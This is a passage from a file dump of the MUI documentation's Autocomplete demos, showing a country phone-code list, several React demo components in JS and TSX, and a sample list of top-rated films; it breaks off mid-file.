'592' },\n  { code: 'HK', label: 'Hong Kong', phone: '852' },\n  {\n    code: 'HM',\n    label: 'Heard Island and McDonald Islands',\n    phone: '672',\n  },\n  { code: 'HN', label: 'Honduras', phone: '504' },\n  { code: 'HR', label: 'Croatia', phone: '385' },\n  { code: 'HT', label: 'Haiti', phone: '509' },\n  { code: 'HU', label: 'Hungary', phone: '36' },\n  { code: 'ID', label: 'Indonesia', phone: '62' },\n  { code: 'IE', label: 'Ireland', phone: '353' },\n  { code: 'IL', label: 'Israel', phone: '972' },\n  { code: 'IM', label: 'Isle of Man', phone: '44' },\n  { code: 'IN', label: 'India', phone: '91' },\n  {\n    code: 'IO',\n    label: 'British Indian Ocean Territory',\n    phone: '246',\n  },\n  { code: 'IQ', label: 'Iraq', phone: '964' },\n  {\n    code: 'IR',\n    label: 'Iran, Islamic Republic of',\n    phone: '98',\n  },\n  { code: 'IS', label: 'Iceland', phone: '354' },\n  { code: 'IT', label: 'Italy', phone: '39' },\n  { code: 'JE', label: 'Jersey', phone: '44' },\n  { code: 'JM', label: 'Jamaica', phone: '1-876' },\n  { code: 'JO', label: 'Jordan', phone: '962' },\n  {\n    code: 'JP',\n    label: 'Japan',\n    phone: '81',\n    suggested: true,\n  },\n  { code: 'KE', label: 'Kenya', phone: '254' },\n  { code: 'KG', label: 'Kyrgyzstan', phone: '996' },\n  { code: 'KH', label: 'Cambodia', phone: '855' },\n  { code: 'KI', label: 'Kiribati', phone: '686' },\n  { code: 'KM', label: 'Comoros', phone: '269' },\n  {\n    code: 'KN',\n    label: 'Saint Kitts and Nevis',\n    phone: '1-869',\n  },\n  {\n    code: 'KP',\n    label: \"Korea, Democratic People's Republic of\",\n    phone: '850',\n  },\n  { code: 'KR', label: 'Korea, Republic of', phone: '82' },\n  { code: 'KW', label: 'Kuwait', phone: '965' },\n  { code: 'KY', label: 'Cayman Islands', phone: '1-345' },\n  { code: 'KZ', label: 'Kazakhstan', phone: '7' },\n  {\n    code: 'LA',\n    label: \"Lao People's Democratic Republic\",\n    phone: '856',\n  },\n  { code: 'LB', label: 'Lebanon', phone: '961' },\n  { code: 'LC', label: 'Saint Lucia', phone: '1-758' },\n  { code: 'LI', label: 'Liechtenstein', phone: '423' },\n  { code: 'LK', label: 'Sri Lanka', phone: '94' },\n  { code: 'LR', label: 'Liberia', phone: '231' },\n  { code: 'LS', label: 'Lesotho', phone: '266' },\n  { code: 'LT', label: 'Lithuania', phone: '370' },\n  { code: 'LU', label: 'Luxembourg', phone: '352' },\n  { code: 'LV', label: 'Latvia', phone: '371' },\n  { code: 'LY', label: 'Libya', phone: '218' },\n  { code: 'MA', label: 'Morocco', phone: '212' },\n  { code: 'MC', label: 'Monaco', phone: '377' },\n  {\n    code: 'MD',\n    label: 'Moldova, Republic of',\n    phone: '373',\n  },\n  { code: 'ME', label: 'Montenegro', phone: '382' },\n  {\n    code: 'MF',\n    label: 'Saint Martin (French part)',\n    phone: '590',\n  },\n  { code: 'MG', label: 'Madagascar', phone: '261' },\n  { code: 'MH', label: 'Marshall Islands', phone: '692' },\n  {\n    code: 'MK',\n    label: 'Macedonia, the Former Yugoslav Republic of',\n    phone: '389',\n  },\n  { code: 'ML', label: 'Mali', phone: '223' },\n  { code: 'MM', label: 'Myanmar', phone: '95' },\n  { code: 'MN', label: 'Mongolia', phone: '976' },\n  { code: 'MO', label: 'Macao', phone: '853' },\n  {\n    code: 'MP',\n    label: 'Northern Mariana Islands',\n    phone: '1-670',\n  },\n  { code: 'MQ', label: 'Martinique', phone: '596' },\n  { code: 'MR', label: 'Mauritania', phone: '222' },\n  { code: 'MS', label: 'Montserrat', phone: '1-664' },\n  { code: 'MT', label: 'Malta', phone: '356' },\n  { code: 'MU', label: 'Mauritius', phone: '230' },\n  { code: 'MV', label: 'Maldives', phone: '960' },\n  { code: 'MW', label: 'Malawi', phone: '265' },\n  { code: 'MX', label: 'Mexico', phone: '52' },\n  { code: 'MY', label: 'Malaysia', phone: '60' },\n  { code: 'MZ', label: 'Mozambique', phone: '258' },\n  { code: 'NA', label: 'Namibia', phone: '264' },\n  { code: 'NC', label: 'New Caledonia', phone: '687' },\n  { code: 'NE', label: 'Niger', phone: '227' },\n  { code: 'NF', label: 'Norfolk Island', phone: '672' },\n  { code: 'NG', label: 'Nigeria', phone: '234' },\n  { code: 'NI', label: 'Nicaragua', phone: '505' },\n  { code: 'NL', label: 'Netherlands', phone: '31' },\n  { code: 'NO', label: 'Norway', phone: '47' },\n  { code: 'NP', label: 'Nepal', phone: '977' },\n  { code: 'NR', label: 'Nauru', phone: '674' },\n  { code: 'NU', label: 'Niue', phone: '683' },\n  { code: 'NZ', label: 'New Zealand', phone: '64' },\n  { code: 'OM', label: 'Oman', phone: '968' },\n  { code: 'PA', label: 'Panama', phone: '507' },\n  { code: 'PE', label: 'Peru', phone: '51' },\n  { code: 'PF', label: 'French Polynesia', phone: '689' },\n  { code: 'PG', label: 'Papua New Guinea', phone: '675' },\n  { code: 'PH', label: 'Philippines', phone: '63' },\n  { code: 'PK', label: 'Pakistan', phone: '92' },\n  { code: 'PL', label: 'Poland', phone: '48' },\n  {\n    code: 'PM',\n    label: 'Saint Pierre and Miquelon',\n    phone: '508',\n  },\n  { code: 'PN', label: 'Pitcairn', phone: '870' },\n  { code: 'PR', label: 'Puerto Rico', phone: '1' },\n  {\n    code: 'PS',\n    label: 'Palestine, State of',\n    phone: '970',\n  },\n  { code: 'PT', label: 'Portugal', phone: '351' },\n  { code: 'PW', label: 'Palau', phone: '680' },\n  { code: 'PY', label: 'Paraguay', phone: '595' },\n  { code: 'QA', label: 'Qatar', phone: '974' },\n  { code: 'RE', label: 'Reunion', phone: '262' },\n  { code: 'RO', label: 'Romania', phone: '40' },\n  { code: 'RS', label: 'Serbia', phone: '381' },\n  { code: 'RU', label: 'Russian Federation', phone: '7' },\n  { code: 'RW', label: 'Rwanda', phone: '250' },\n  { code: 'SA', label: 'Saudi Arabia', phone: '966' },\n  { code: 'SB', label: 'Solomon Islands', phone: '677' },\n  { code: 'SC', label: 'Seychelles', phone: '248' },\n  { code: 'SD', label: 'Sudan', phone: '249' },\n  { code: 'SE', label: 'Sweden', phone: '46' },\n  { code: 'SG', label: 'Singapore', phone: '65' },\n  { code: 'SH', label: 'Saint Helena', phone: '290' },\n  { code: 'SI', label: 'Slovenia', phone: '386' },\n  {\n    code: 'SJ',\n    label: 'Svalbard and Jan Mayen',\n    phone: '47',\n  },\n  { code: 'SK', label: 'Slovakia', phone: '421' },\n  { code: 'SL', label: 'Sierra Leone', phone: '232' },\n  { code: 'SM', label: 'San Marino', phone: '378' },\n  { code: 'SN', label: 'Senegal', phone: '221' },\n  { code: 'SO', label: 'Somalia', phone: '252' },\n  { code: 'SR', label: 'Suriname', phone: '597' },\n  { code: 'SS', label: 'South Sudan', phone: '211' },\n  {\n    code: 'ST',\n    label: 'Sao Tome and Principe',\n    phone: '239',\n  },\n  { code: 'SV', label: 'El Salvador', phone: '503' },\n  {\n    code: 'SX',\n    label: 'Sint Maarten (Dutch part)',\n    phone: '1-721',\n  },\n  {\n    code: 'SY',\n    label: 'Syrian Arab Republic',\n    phone: '963',\n  },\n  { code: 'SZ', label: 'Swaziland', phone: '268' },\n  {\n    code: 'TC',\n    label: 'Turks and Caicos Islands',\n    phone: '1-649',\n  },\n  { code: 'TD', label: 'Chad', phone: '235' },\n  {\n    code: 'TF',\n    label: 'French Southern Territories',\n    phone: '262',\n  },\n  { code: 'TG', label: 'Togo', phone: '228' },\n  { code: 'TH', label: 'Thailand', phone: '66' },\n  { code: 'TJ', label: 'Tajikistan', phone: '992' },\n  { code: 'TK', label: 'Tokelau', phone: '690' },\n  { code: 'TL', label: 'Timor-Leste', phone: '670' },\n  { code: 'TM', label: 'Turkmenistan', phone: '993' },\n  { code: 'TN', label: 'Tunisia', phone: '216' },\n  { code: 'TO', label: 'Tonga', phone: '676' },\n  { code: 'TR', label: 'Turkey', phone: '90' },\n  {\n    code: 'TT',\n    label: 'Trinidad and Tobago',\n    phone: '1-868',\n  },\n  { code: 'TV', label: 'Tuvalu', phone: '688' },\n  {\n    code: 'TW',\n    label: 'Taiwan',\n    phone: '886',\n  },\n  {\n    code: 'TZ',\n    label: 'United Republic of Tanzania',\n    phone: '255',\n  },\n  { code: 'UA', label: 'Ukraine', phone: '380' },\n  { code: 'UG', label: 'Uganda', phone: '256' },\n  {\n    code: 'US',\n    label: 'United States',\n    phone: '1',\n    suggested: true,\n  },\n  { code: 'UY', label: 'Uruguay', phone: '598' },\n  { code: 'UZ', label: 'Uzbekistan', phone: '998' },\n  {\n    code: 'VA',\n    label: 'Holy See (Vatican City State)',\n    phone: '379',\n  },\n  {\n    code: 'VC',\n    label: 'Saint Vincent and the Grenadines',\n    phone: '1-784',\n  },\n  { code: 'VE', label: 'Venezuela', phone: '58' },\n  {\n    code: 'VG',\n    label: 'British Virgin Islands',\n    phone: '1-284',\n  },\n  {\n    code: 'VI',\n    label: 'US Virgin Islands',\n    phone: '1-340',\n  },\n  { code: 'VN', label: 'Vietnam', phone: '84' },\n  { code: 'VU', label: 'Vanuatu', phone: '678' },\n  { code: 'WF', label: 'Wallis and Futuna', phone: '681' },\n  { code: 'WS', label: 'Samoa', phone: '685' },\n  { code: 'XK', label: 'Kosovo', phone: '383' },\n  { code: 'YE', label: 'Yemen', phone: '967' },\n  { code: 'YT', label: 'Mayotte', phone: '262' },\n  { code: 'ZA', label: 'South Africa', phone: '27' },\n  { code: 'ZM', label: 'Zambia', phone: '260' },\n  { code: 'ZW', label: 'Zimbabwe', phone: '263' },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/CustomInputAutocomplete.js",
    "content": "import Autocomplete from '@mui/material/Autocomplete';\n\nconst options = ['Option 1', 'Option 2'];\n\nexport default function CustomInputAutocomplete() {\n  return (\n    <label>\n      Value:{' '}\n      <Autocomplete\n        sx={(theme) => ({\n          display: 'inline-block',\n          '& input': {\n            width: 200,\n            bgcolor: 'background.paper',\n            color: theme.palette.getContrastText(theme.palette.background.paper),\n          },\n        })}\n        id=\"custom-input-demo\"\n        options={options}\n        renderInput={(params) => (\n          <div ref={params.slotProps.input.ref}>\n            <input type=\"text\" {...params.slotProps.htmlInput} />\n          </div>\n        )}\n      />\n    </label>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/CustomInputAutocomplete.tsx",
    "content": "import Autocomplete from '@mui/material/Autocomplete';\n\nconst options = ['Option 1', 'Option 2'];\n\nexport default function CustomInputAutocomplete() {\n  return (\n    <label>\n      Value:{' '}\n      <Autocomplete\n        sx={(theme) => ({\n          display: 'inline-block',\n          '& input': {\n            width: 200,\n            bgcolor: 'background.paper',\n            color: theme.palette.getContrastText(theme.palette.background.paper),\n          },\n        })}\n        id=\"custom-input-demo\"\n        options={options}\n        renderInput={(params) => (\n          <div ref={params.slotProps.input.ref}>\n            <input type=\"text\" {...params.slotProps.htmlInput} />\n          </div>\n        )}\n      />\n    </label>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/CustomSingleValueRendering.js",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function CustomSingleValueRendering() {\n  return (\n    <Stack spacing={3} sx={{ width: 500 }}>\n      <Autocomplete\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        renderValue={(value, getItemProps) => (\n          <Chip label={value.title} {...getItemProps()} />\n        )}\n        renderInput={(params) => <TextField {...params} label=\"Movie\" />}\n      />\n      <Autocomplete\n        options={top100Films.map((option) => option.title)}\n        freeSolo\n        renderValue={(value, getItemProps) => (\n          <Chip label={value} {...getItemProps()} />\n        )}\n        renderInput={(params) => <TextField {...params} label=\"freeSolo\" />}\n      />\n    </Stack>\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/CustomSingleValueRendering.tsx",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function CustomSingleValueRendering() {\n  return (\n    <Stack spacing={3} sx={{ width: 500 }}>\n      <Autocomplete\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        renderValue={(value, getItemProps) => (\n          <Chip label={value.title} {...getItemProps()} />\n        )}\n        renderInput={(params) => <TextField {...params} label=\"Movie\" />}\n      />\n      <Autocomplete\n        options={top100Films.map((option) => option.title)}\n        freeSolo\n        renderValue={(value, getItemProps) => (\n          <Chip label={value} {...getItemProps()} />\n        )}\n        renderInput={(params) => <TextField {...params} label=\"freeSolo\" />}\n      />\n    </Stack>\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/CustomSingleValueRendering.tsx.preview",
    "content": "<Autocomplete\n  options={top100Films}\n  getOptionLabel={(option) => option.title}\n  renderValue={(value, getItemProps) => (\n    <Chip label={value.title} {...getItemProps()} />\n  )}\n  renderInput={(params) => <TextField {...params} label=\"Movie\" />}\n/>\n<Autocomplete\n  options={top100Films.map((option) => option.title)}\n  freeSolo\n  renderValue={(value, getItemProps) => (\n    <Chip label={value} {...getItemProps()} />\n  )}\n  renderInput={(params) => <TextField {...params} label=\"freeSolo\" />}\n/>"
  },
  {
    "path": "docs/data/material/components/autocomplete/CustomizedHook.js",
    "content": "import useAutocomplete from '@mui/material/useAutocomplete';\nimport PropTypes from 'prop-types';\nimport CheckIcon from '@mui/icons-material/Check';\nimport CloseIcon from '@mui/icons-material/Close';\nimport { styled } from '@mui/material/styles';\nimport { autocompleteClasses } from '@mui/material/Autocomplete';\n\nconst Root = styled('div')(({ theme }) => ({\n  color: 'rgba(0,0,0,0.85)',\n  fontSize: '14px',\n  ...theme.applyStyles('dark', {\n    color: 'rgba(255,255,255,0.65)',\n  }),\n}));\n\nconst Label = styled('label')`\n  padding: 0 0 4px;\n  line-height: 1.5;\n  display: block;\n`;\n\nconst InputWrapper = styled('div')(({ theme }) => ({\n  width: '300px',\n  border: '1px solid #d9d9d9',\n  backgroundColor: '#fff',\n  borderRadius: '4px',\n  padding: '1px',\n  display: 'flex',\n  flexWrap: 'wrap',\n  ...theme.applyStyles('dark', {\n    borderColor: '#434343',\n    backgroundColor: '#141414',\n  }),\n  '&:hover': {\n    borderColor: '#40a9ff',\n    ...theme.applyStyles('dark', {\n      borderColor: '#177ddc',\n    }),\n  },\n  '&.focused': {\n    borderColor: '#40a9ff',\n    boxShadow: '0 0 0 2px rgb(24 144 255 / 0.2)',\n    ...theme.applyStyles('dark', {\n      borderColor: '#177ddc',\n    }),\n  },\n  '& input': {\n    backgroundColor: '#fff',\n    color: 'rgba(0,0,0,.85)',\n    height: '30px',\n    boxSizing: 'border-box',\n    padding: '4px 6px',\n    width: '0',\n    minWidth: '30px',\n    flexGrow: 1,\n    border: 0,\n    margin: 0,\n    outline: 0,\n    ...theme.applyStyles('dark', {\n      color: 'rgba(255,255,255,0.65)',\n      backgroundColor: '#141414',\n    }),\n  },\n}));\n\nfunction Item(props) {\n  const { label, onDelete, ...other } = props;\n  return (\n    <div {...other}>\n      <span>{label}</span>\n      <CloseIcon onClick={onDelete} />\n    </div>\n  );\n}\n\nItem.propTypes = {\n  label: PropTypes.string.isRequired,\n  onDelete: PropTypes.func.isRequired,\n};\n\nconst StyledItem = styled(Item)(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  height: '24px',\n  margin: '2px',\n  lineHeight: '22px',\n  backgroundColor: '#fafafa',\n  border: `1px solid #e8e8e8`,\n  borderRadius: '2px',\n  boxSizing: 'content-box',\n  padding: '0 4px 0 10px',\n  outline: 0,\n  overflow: 'hidden',\n  ...theme.applyStyles('dark', {\n    backgroundColor: 'rgba(255,255,255,0.08)',\n    borderColor: '#303030',\n  }),\n  '&:focus': {\n    borderColor: '#40a9ff',\n    backgroundColor: '#e6f7ff',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#003b57',\n      borderColor: '#177ddc',\n    }),\n  },\n  '& span': {\n    overflow: 'hidden',\n    whiteSpace: 'nowrap',\n    textOverflow: 'ellipsis',\n  },\n  '& svg': {\n    fontSize: '12px',\n    cursor: 'pointer',\n    padding: '4px',\n  },\n}));\n\nconst Listbox = styled('ul')(({ theme }) => ({\n  width: '300px',\n  margin: '2px 0 0',\n  padding: 0,\n  position: 'absolute',\n  listStyle: 'none',\n  backgroundColor: '#fff',\n  overflow: 'auto',\n  maxHeight: '250px',\n  borderRadius: '4px',\n  boxShadow: '0 2px 8px rgb(0 0 0 / 0.15)',\n  zIndex: 1,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#141414',\n  }),\n  '& li': {\n    padding: '5px 12px',\n    display: 'flex',\n    '& span': {\n      flexGrow: 1,\n    },\n    '& svg': {\n      color: 'transparent',\n    },\n  },\n  \"& li[aria-selected='true']\": {\n    backgroundColor: '#fafafa',\n    fontWeight: 600,\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#2b2b2b',\n    }),\n    '& svg': {\n      color: '#1890ff',\n    },\n  },\n  [`& li.${autocompleteClasses.focused}`]: {\n    backgroundColor: '#e6f7ff',\n    cursor: 'pointer',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#003b57',\n    }),\n    '& svg': {\n      color: 'currentColor',\n    },\n  },\n}));\n\nfunction CustomAutocomplete(props) {\n  const {\n    getRootProps,\n    getInputLabelProps,\n    getInputProps,\n    getItemProps,\n    getListboxProps,\n    getOptionProps,\n    groupedOptions,\n    value,\n    focused,\n    setAnchorEl,\n  } = useAutocomplete({\n    multiple: true,\n    ...props,\n  });\n\n  return (\n    <Root>\n      <div {...getRootProps()}>\n        <Label {...getInputLabelProps()}>Customized hook</Label>\n        <InputWrapper ref={setAnchorEl} className={focused ? 'focused' : ''}>\n          {value.map((option, index) => {\n            const { key, ...itemProps } = getItemProps({ index });\n            return (\n              <StyledItem\n                key={key}\n                {...itemProps}\n                label={props.getOptionLabel(option)}\n              />\n            );\n          })}\n          <input {...getInputProps()} />\n        </InputWrapper>\n      </div>\n      {groupedOptions.length > 0 ? (\n        <Listbox {...getListboxProps()}>\n          {groupedOptions.map((option, index) => {\n            const { key, ...optionProps } = getOptionProps({ option, index });\n            return (\n              <li key={key} {...optionProps}>\n                <span>{props.getOptionLabel(option)}</span>\n                <CheckIcon fontSize=\"small\" />\n              </li>\n            );\n          })}\n        </Listbox>\n      ) : null}\n    </Root>\n  );\n}\n\nCustomAutocomplete.propTypes = {\n  /**\n   * Used to determine the string value for a given option.\n   * It's used to fill the input (and the list box options if `renderOption` is not provided).\n   *\n   * If used in free solo mode, it must accept both the type of the options and a string.\n   *\n   * @param {Value|string} option\n   * @returns {string}\n   * @default (option) => option.label ?? option\n   */\n  getOptionLabel: PropTypes.func,\n};\n\nexport default function CustomizedHook() {\n  return (\n    <CustomAutocomplete\n      id=\"customized-hook-demo\"\n      defaultValue={[top100Films[1]]}\n      options={top100Films}\n      getOptionLabel={(option) => option.title}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/CustomizedHook.tsx",
    "content": "import useAutocomplete, {\n  AutocompleteGetItemProps,\n  UseAutocompleteProps,\n} from '@mui/material/useAutocomplete';\nimport CheckIcon from '@mui/icons-material/Check';\nimport CloseIcon from '@mui/icons-material/Close';\nimport { styled } from '@mui/material/styles';\nimport { autocompleteClasses } from '@mui/material/Autocomplete';\n\nconst Root = styled('div')(({ theme }) => ({\n  color: 'rgba(0,0,0,0.85)',\n  fontSize: '14px',\n  ...theme.applyStyles('dark', {\n    color: 'rgba(255,255,255,0.65)',\n  }),\n}));\n\nconst Label = styled('label')`\n  padding: 0 0 4px;\n  line-height: 1.5;\n  display: block;\n`;\n\nconst InputWrapper = styled('div')(({ theme }) => ({\n  width: '300px',\n  border: '1px solid #d9d9d9',\n  backgroundColor: '#fff',\n  borderRadius: '4px',\n  padding: '1px',\n  display: 'flex',\n  flexWrap: 'wrap',\n  ...theme.applyStyles('dark', {\n    borderColor: '#434343',\n    backgroundColor: '#141414',\n  }),\n  '&:hover': {\n    borderColor: '#40a9ff',\n    ...theme.applyStyles('dark', {\n      borderColor: '#177ddc',\n    }),\n  },\n  '&.focused': {\n    borderColor: '#40a9ff',\n    boxShadow: '0 0 0 2px rgb(24 144 255 / 0.2)',\n    ...theme.applyStyles('dark', {\n      borderColor: '#177ddc',\n    }),\n  },\n  '& input': {\n    backgroundColor: '#fff',\n    color: 'rgba(0,0,0,.85)',\n    height: '30px',\n    boxSizing: 'border-box',\n    padding: '4px 6px',\n    width: '0',\n    minWidth: '30px',\n    flexGrow: 1,\n    border: 0,\n    margin: 0,\n    outline: 0,\n    ...theme.applyStyles('dark', {\n      color: 'rgba(255,255,255,0.65)',\n      backgroundColor: '#141414',\n    }),\n  },\n}));\n\ninterface ItemProps extends ReturnType<AutocompleteGetItemProps<true>> {\n  label: string;\n}\n\nfunction Item(props: ItemProps) {\n  const { label, onDelete, ...other } = props;\n  return (\n    <div {...other}>\n      <span>{label}</span>\n      <CloseIcon onClick={onDelete} />\n    </div>\n  